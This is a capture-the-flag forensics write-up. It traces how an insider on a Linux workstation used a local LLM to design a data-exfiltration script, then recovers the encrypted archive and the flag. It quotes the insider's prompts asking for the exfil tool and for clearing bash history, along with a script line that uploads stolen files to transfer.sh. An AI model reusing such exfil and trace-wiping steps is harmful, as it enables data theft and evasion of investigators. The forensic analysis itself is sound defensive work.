Usama Arshad. Résumé

Challenge 5 of 15 Forensics Full writeup

BlackHat MEA 2026 · Qualifiers

Whisper.

Linux workstation triage. An insider used a local LLM to build an exfiltration tool.

Forensics· 4 November 2026

TL;DR

The local Ollama prompt history is an uncensored record of the insider designing the exfil tool, including the passphrase. The script itself survives in the GNOME Trash, and it reveals both the key- derivation function and where the archive was staged.

Captured

01Recon

The evidence set is a full Ubuntu 24.04 workstation tree (~14,000 entries) plus curated collections:

snippet
journal_exports/   journalctl_{full,cron,ssh,ollama}.txt
system_info/       process_list, network_sockets, dpkg_installed, pip_packages, ...
home/dwright/      .ollama/history, .local/share/{.venv,Trash}, .cache/fontconfig, ...
data/reports/      customers_2025.csv employee_directory.csv
                   revenue_q3.csv      vendor_contracts.csv
var/log/           auth.log, audit/audit.log{,.1}, syslog, ...
tmp/               a dozen plausible-looking dotfiles

Both shell histories are empty, deliberately. /tmp is stocked with decoys (.config_backup_old.tar.gz.mozilla_cache.dat.pip-cache-a8f3b2.tmp, journal-upload.tmp, core.python3.1234...); every one is high-entropy random noise with no recoverable structure. The Trash likewise holds ~60 files, almost all filler.

The lead is home/dwright/.ollama/history. Amid a hundred ordinary data-engineering questions, the intent is written out in plain language:

how do I create a password protected zip archive using pyzipper write a python script that reads all csv files from a directory and creates an AES encrypted zip archive use the password Gr33nF0x42!D1amond also upload the archive to a remote server using requests and delete the script after successful execution how do I derive an encryption key from a passphrase using hashlib sha256 how to clean the bash history in terminal so there are no traces

02The bug

This is not a software vulnerability, it is an artifact-retention failure by the insider, and the challenge is built around three of them:

  1. The local LLM keeps a plaintext prompt log. ~/.ollama/history is never cleared. The passphrase Gr33nF0x42!D1amond is typed straight into it, alongside a step-by-step statement of intent that would be the centrepiece of any real investigation.
  2. "Delete the script after successful execution" was implemented as a move to Trash. ~/.local/share/Trash/files/cache_mgr.py is intact, along with its.trashinfo deletion timestamp.
  3. The staging path was a cache directory, and the archive was never removed. ~/.cache/ fontconfig/session.zip, a plausible-looking name in a directory nobody inspects, still holds the exfiltrated data.

The insider also cleared both bash histories, which removes the commands but leaves every artifact they produced.

03Exploitation

  1. Recover the tool. grep -ril 'pyzipper'. points at home/dwright/.local/share/Trash/files/ cache_mgr.py, disguised as a "Cache management utility" and importing pyzipper from a hidden venv at ~/.local/share/.venv.
  2. Read the key derivation. The script does not use the passphrase directly, it does what the LLM was asked for in the follow-up prompt:
snippet
raw_key = os.environ.get("CACHE_KEY", "")
ARCHIVE_PASSWORD = hashlib.blake2b(raw_key.encode(),
                                   digest_size=32).hexdigest()[:20].encode()

With raw_key = "Gr33nF0x42!D1amond", the archive password is d571fe77618f54b7fca8.

  1. Locate the archive. The same script names it:
snippet
DATA_DIR    = os.path.join("/data", "reports")
CACHE_DIR   = os.path.join(os.path.expanduser("~"), ".cache", "fontconfig")
OUTPUT_PATH = os.path.join(CACHE_DIR, "session.zip")        # WZ_AES, ZIP_DEFLATED
...
requests.put("https://transfer.sh/backup.zip", data=f, ...)
  1. Open it and diff against /data/reports. The archive holds five members where the source directory only had four:
snippet
MEMBER                                                          IN /DATA/REPORTS?

customers_2025.csv                                              yes

employee_directory.csv                                          yes

revenue_q3.csv                                                  yes

vendor_contracts.csv                                            yes

internal_api_keys.csv                                           no

The extra file is the payload. Its key_b64 column is base64; one row decodes to the flag:

snippet
master_vault, production, vault_root
  -> BHFlagY{...}

Key code import hashlib, pyzipper, base64, csv, io

snippet
pw = hashlib.blake2b(b"Gr33nF0x42!D1amond", digest_size=32).hexdigest()[:20].encode()

with pyzipper.AESZipFile("home/dwright/.cache/fontconfig/session.zip") as zf: zf.setpassword(pw) rows = zf.read("internal_api_keys.csv").decode()

python
for row in csv.DictReader(io.StringIO(rows)):
    v = base64.b64decode(row["key_b64"]).decode("utf-8", "replace")
    if "BHFlagY" in v:
        print(row["service"], "->", v)
# master_vault -> BHFlagY{...}

04Dead ends

  • Everything in /tmp is a decoy. All seven "interesting" dotfiles are uniform random bytes: no headers, no repeating-key structure, no single-byte XOR to printable. Do not spend time on them, and do not treat core.python3.1234... as a real core dump, it is noise too.
  • The passphrase from the prompt log is not the archive password. Feeding Gr33nF0x42!D1amond straight to pyzipper fails; the blake2b-truncate-to-20-hex-chars derivation in the script is mandatory. The LLM prompt even asks about hashlib sha256 while the script ships blake2b, trust the code, not the prompt.
  • auditd was installed on the host but its logs do not contain the exfil execution; the.trashinfo timestamps and the ollama journal are the reliable timeline sources.